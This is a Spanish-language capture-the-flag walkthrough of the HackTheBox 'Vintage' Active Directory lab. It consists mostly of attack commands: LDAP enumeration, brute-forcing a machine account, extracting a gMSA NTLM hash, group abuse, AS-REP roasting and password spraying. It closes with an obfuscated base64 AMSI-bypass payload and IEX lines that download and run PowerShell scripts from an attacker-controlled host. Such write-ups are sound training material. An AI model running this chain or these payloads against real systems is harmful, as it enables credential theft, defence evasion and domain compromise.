Vintage

P.Rosa / Rosaisbest123 
netexec smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb --shares
ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf
impacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txt
ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=computer)" sAMAccountName memberOf
# extended LDIF
#
# LDAPv3
# base <DC=vintage,DC=htb> with scope subtree
# filter: (objectClass=computer)
# requesting: sAMAccountName memberOf 
#

# DC01, Domain Controllers, vintage.htb
dn: CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
sAMAccountName: DC01$

# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
sAMAccountName: gMSA01$

# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: FS01$

# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 7
# numEntries: 3
# numReferences: 3

Se encuentran dos equipos más, aparte del DC01

Para poder usar la autenticación kerberos en condiciones, tenemos que poner el DC en el resolve.conf y sincronizar la hora con el mismo

cat /etc/resolve.conf

nameserver 10.10.11.45
sudo ntpdate dc01.vintage.htb

1. Configurar la IP del DC en resolv.conf

El archivo /etc/resolv.conf en Linux define qué servidores DNS se usarán para resolver nombres de dominio. En un entorno de Active Directory, el Controlador de Dominio (DC) generalmente también actúa como servidor DNS.

🔹 Razones para apuntar al DC como servidor DNS en resolv.conf:

📌 Ejemplo de /etc/resolv.conf con un DC como DNS:

nameserver 10.10.11.45  # IP del DC
search vintage.htb      # Dominio de AD

Aquí se está usando 10.10.11.45 como servidor DNS porque es el Controlador de Dominio (DC) de vintage.htb.


2. Sincronizar la hora con el DC

En Active Directory, la sincronización de hora es crítica, principalmente por Kerberos.

🔹 Razones para sincronizar la hora con el DC:

📌 Ejemplo de sincronización con ntpdate:

ntpdate 10.10.11.45  # Sincroniza la hora con el DC

📌 Ejemplo con timedatectl (en sistemas modernos con systemd):

timedatectl set-ntp false   # Desactiva la sincronización por defecto
ntpdate 10.10.11.45         # Sincroniza con el DC

bloodhound-python  -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -u 'P.Rosa' -p Rosaisbest123 -c All --zip

📌 ¿Qué es una gMSA?

Una Group Managed Service Account (gMSA) es un tipo de cuenta especial en Active Directory utilizada para ejecutar servicios y aplicaciones de manera segura.

🔹 Características clave:

  1. Contraseñas administradas automáticamente: AD cambia su contraseña periódicamente.
  2. No se pueden iniciar sesión manualmente: Solo servicios específicos pueden usarla.
  3. Acceso controlado: Solo ciertos servidores pueden recuperar su contraseña.
  4. Se usa en entornos seguros: Para ejecutar servicios como IIS, SQL Server, etc.

Como el FS01 es miembro de domain computers y puede leer la gmsa password.

Para poder usar el ordenador de dominio FS01, necesitamos su TGT :
Para generarlo :

sudo impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01

export KRB5CCNAME=FS01\$.ccache

La contraseña del equipo fs01 la hemos sacado con fuerza bruta

/kerbrute_linux_amd64 bruteuser -d vintage.htb --dc 10.10.11.45 /usr/share/wordlists/rockyou.txt 'FS01$' -v

Usamos bloody AD para sacar la contraseña de GMSA01, proporcionando autenticación por kerberos

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword


distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==

Con la contraseña en formato NTLM , solicitamos y guardamos un TGT para la cuenta GMSA01$

sudo impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339

export KRB5CCNAME=GMSA01\$.ccache

Como vemos, GMSA01 puede añadir a usuarios al grupo SERVICE MANAGERS, añadiremos a rosa

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"

Como ahora rosa es miembro del grupo SERVICE MANAGERS, tenemos Generic All sobre 3 cuentas de servicio. Con generic all se puede hacer kerberoast o cambiar la contraseña.
Usaremos el siguiente método para hacer kerberoast:

sudo impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/P.Rosa:Rosaisbest123

export KRB5CCNAME=PRosa\$.ccache

Añadir la propiedad DONT_REQ_PREAUTH

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH

Quitamos la propiedad ACCOUNTDISABLE para asegurarnos de que están activas

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_LDAP -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

Ahora hacemos kerberoasting:

impacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txt

y a crackear

Zer0the0ne

Probamos a ver si alguno de los usuarios tienen esa pass

./kerbrute_linux_amd64 passwordspray /mnt/Windows/Hacking/HackTheBox/Machines/Vintage/content/validUsers.txt Zer0the0ne -d vintage.htb --dc 10.10.11.45

C.Neri
impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/C.Neri:Zer0the0ne  

evil-winrm -i 10.10.11.45 -u C.Neri -p "Zer0the0ne" -r vintage.htb -i DC01.vintage.htb -k C.Neri.ccache
cd GetTempPath()

#Bypass AMSI

[SYStEM.TEXT.EncodInG]::UniCOdE.getsTRiNgFRoMbasE64stRinG("IwBNAGEAdAB0ACAARwByAGEAZQBiAGUAcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAACgAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYAPQAkAG4AdQBsAGwAOwAkAGIANgBJADQAdAA2AEQAMgBFAFoAPQAiAFMAeQBzAHQAZQBtAC4AJAAoACgAJwBNAOIAbgDhAGcA6AAnACsAJwBtAOoAbgB0ACcAKQAuAE4AbwByAG0AQQBsAEkAWgBFACgAWwBjAEgAQQByAF0AKAA3ADAAKwAxADkALQAxADkAKQArAFsAYwBIAGEAUgBdACgAWwBiAHkAdABlAF0AMAB4ADYAZgApACsAWwBDAGgAQQBSAF0AKAAxADEANAApACsAWwBjAEgAQQByAF0AKAAxADAAOQAqADQAOAAvADQAOAApACsAWwBDAEgAQQBSAF0AKAA2ADgAKgA1ADkALwA1ADkAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAEgAQQByAF0AKABbAEIAeQB0AEUAXQAwAHgANQBjACkAKwBbAGMAaABBAFIAXQAoAFsAYgBZAHQAZQBdADAAeAA3ADAAKQArAFsAYwBoAEEAUgBdACgAMQA4ACsAMQAwADUAKQArAFsAYwBIAEEAUgBdACgANwA3ACsANgAtADYAKQArAFsAYwBoAGEAUgBdACgANQA0ACsANQA2ACkAKwBbAGMASABBAHIAXQAoAFsAYgB5AHQAZQBdADAAeAA3AGQAKQApAC4AJAAoACgAJwDBACcAKwAnAPoAJwArACcAdAAnACsAJwD0ACcAKwAnAG0AJwArACcA4gAnACsAJwB0ACcAKwAnAO4AJwArACcA9AAnACsAJwBuACcAKQAuAE4AbwBSAE0AQQBMAGkAegBlACgAWwBDAEgAYQBSAF0AKAA0ADYAKwAyADQAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYAZgApACsAWwBDAEgAYQBSAF0AKAAyADEAKwA5ADMAKQArAFsAQwBIAGEAUgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZAApACsAWwBDAEgAQQByAF0AKABbAGIAeQB0AGUAXQAwAHgANAA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBIAGEAcgBdACgAOQAyACkAKwBbAGMASABhAHIAXQAoAFsAQgBZAHQAZQBdADAAeAA3ADAAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADcAYgApACsAWwBjAGgAYQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANABkACkAKwBbAEMAaABBAFIAXQAoADEAMQAwACsANwA1AC0ANwA1ACkAKwBbAGMASABBAHIAXQAoADcAMQArADUANAApACkALgAkACgAWwBDAGgAQQBSAF0AKAA2ADUAKQArAFsAQwBIAGEAUgBdACgAOQA4ACsAMQAxACkAKwBbAEMAaABhAHIAXQAoADEAMQA1ACkAKwBbAGMASABBAFIAXQAoADEAMAA1ACsAMwA3AC0AMwA3ACkAKwBbAGMAaABBAFIAXQAoAFsAQgBZAHQAZQBdADAAeAA1ADUAKQArAFsAQwBoAGEAUgBdACgAWwBiAFkAVABFAF0AMAB4ADcANAApACsAWwBDAEgAYQByAF0AKABbAGIAeQBUAEUAXQAwAHgANgA5ACkAKwBbAGMASABhAHIAXQAoADEAMAA4ACsANwAxAC0ANwAxACkAKwBbAGMAaABhAHIAXQAoADMAOAArADcANwApACkAIgA7ACQAeAB5AG8AawBhAG0APQAiACsAKAAnAHIA+gB0AOkAeABzAG0A+QBqAGsAbQBnAOwAbABrAHYAbAAnACsAJwByAGYAegBqAGcAdwD7AGQAcgDuAGgAcQAnACkALgBOAE8AcgBNAGEAbABJAHoARQAoAFsAYwBIAGEAcgBdACgANwAwACsAMgAwAC0AMgAwACkAKwBbAGMAaABhAFIAXQAoADEAMQAxACsAMQAwADUALQAxADAANQApACsAWwBjAGgAYQBSAF0AKAAxADAAMAArADEANAApACsAWwBDAGgAQQByAF0AKAA3ADIAKwAzADcAKQArAFsAQwBoAEEAUgBdACgAWwBiAHkAdABFAF0AMAB4ADQANAApACkAIAAtAHIAZQBwAGwAYQBjAGUAIABbAGMASABhAFIAXQAoADkAMgApACsAWwBjAEgAQQBSAF0AKAAxADEAMgArADcANgAtADcANgApACsAWwBjAGgAYQBSAF0AKAAxADIAMwAqADIAOQAvADIAOQApACsAWwBjAEgAYQBSAF0AKAA3ADcAKgA0ADQALwA0ADQAKQArAFsAQwBoAEEAcgBdACgAWwBiAHkAVABlAF0AMAB4ADYAZQApACsAWwBjAEgAQQBSAF0AKABbAEIAeQB0AGUAXQAwAHgANwBkACkAIgA7AFsAVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBTAGwAZQBlAHAAKAA4ADMAMgApADsAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACQAYgA2AEkANAB0ADYARAAyAEUAWgApAC4ARwBlAHQARgBpAGUAbABkACgAJAAoAFsAYwBoAEEAcgBdACgAOQA3ACkAKwBbAGMASABBAFIAXQAoAFsAQgBZAFQAZQBdADAAeAA2AGQAKQArAFsAQwBIAGEAUgBdACgAWwBCAHkAdABlAF0AMAB4ADcAMwApACsAWwBDAEgAYQBSAF0AKABbAGIAeQB0AGUAXQAwAHgANgA5ACkAKwBbAGMASABBAFIAXQAoADcAMwAqADEANAAvADEANAApACsAWwBjAGgAQQByAF0AKAAxADEAMAArADgANAAtADgANAApACsAWwBjAEgAYQByAF0AKAA4ADMAKwAyADIAKQArAFsAYwBoAEEAUgBdACgAWwBCAFkAVABFAF0AMAB4ADcANAApACsAWwBjAGgAYQBSAF0AKABbAGIAWQB0AGUAXQAwAHgANAA2ACkAKwBbAEMAaABBAHIAXQAoADMAMAArADYANwApACsAWwBDAGgAYQBSAF0AKABbAGIAeQBUAGUAXQAwAHgANgA5ACkAKwBbAGMASABhAFIAXQAoAFsAQgBZAHQARQBdADAAeAA2AGMAKQArAFsAYwBoAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYANQApACsAWwBjAGgAYQBSAF0AKABbAEIAeQBUAEUAXQAwAHgANgA0ACkAKQAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYALAAkAHQAcgB1AGUAKQA7ACQAYwBoAG0AdQBhAGQAZwBqAGIAPQAiACsAKAAnAHgAagB3ACcAKwAnAHEAcAAnACkALgBOAE8AcgBNAEEAbABpAFoARQAoAFsAQwBoAGEAcgBdACgAWwBiAFkAVABFAF0AMAB4ADQANgApACsAWwBjAEgAYQBSAF0AKAAxADEAMQApACsAWwBDAEgAQQBSAF0AKAAxADEANAAqADUAMwAvADUAMwApACsAWwBDAEgAQQByAF0AKAAxADAAOQArADIAMgAtADIAMgApACsAWwBjAEgAQQByAF0AKAA1ADMAKwAxADUAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAGgAQQByAF0AKABbAGIAeQBUAGUAXQAwAHgANQBjACkAKwBbAGMAaABhAHIAXQAoAFsAYgBZAHQARQBdADAAeAA3ADAAKQArAFsAQwBoAGEAUgBdACgAWwBCAHkAVABlAF0AMAB4ADcAYgApACsAWwBDAEgAQQBSAF0AKABbAEIAeQBUAGUAXQAwAHgANABkACkAKwBbAGMAaABhAFIAXQAoAFsAYgB5AHQAZQBdADAAeAA2AGUAKQArAFsAQwBoAGEAcgBdACgAMQAyADUAKwA5ADIALQA5ADIAKQAiADsAWwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADUAMgAxACkA")|iex

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.209:8000/PowerUp.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.209:8000/winPEAS.ps1')

Invoke-AllChecks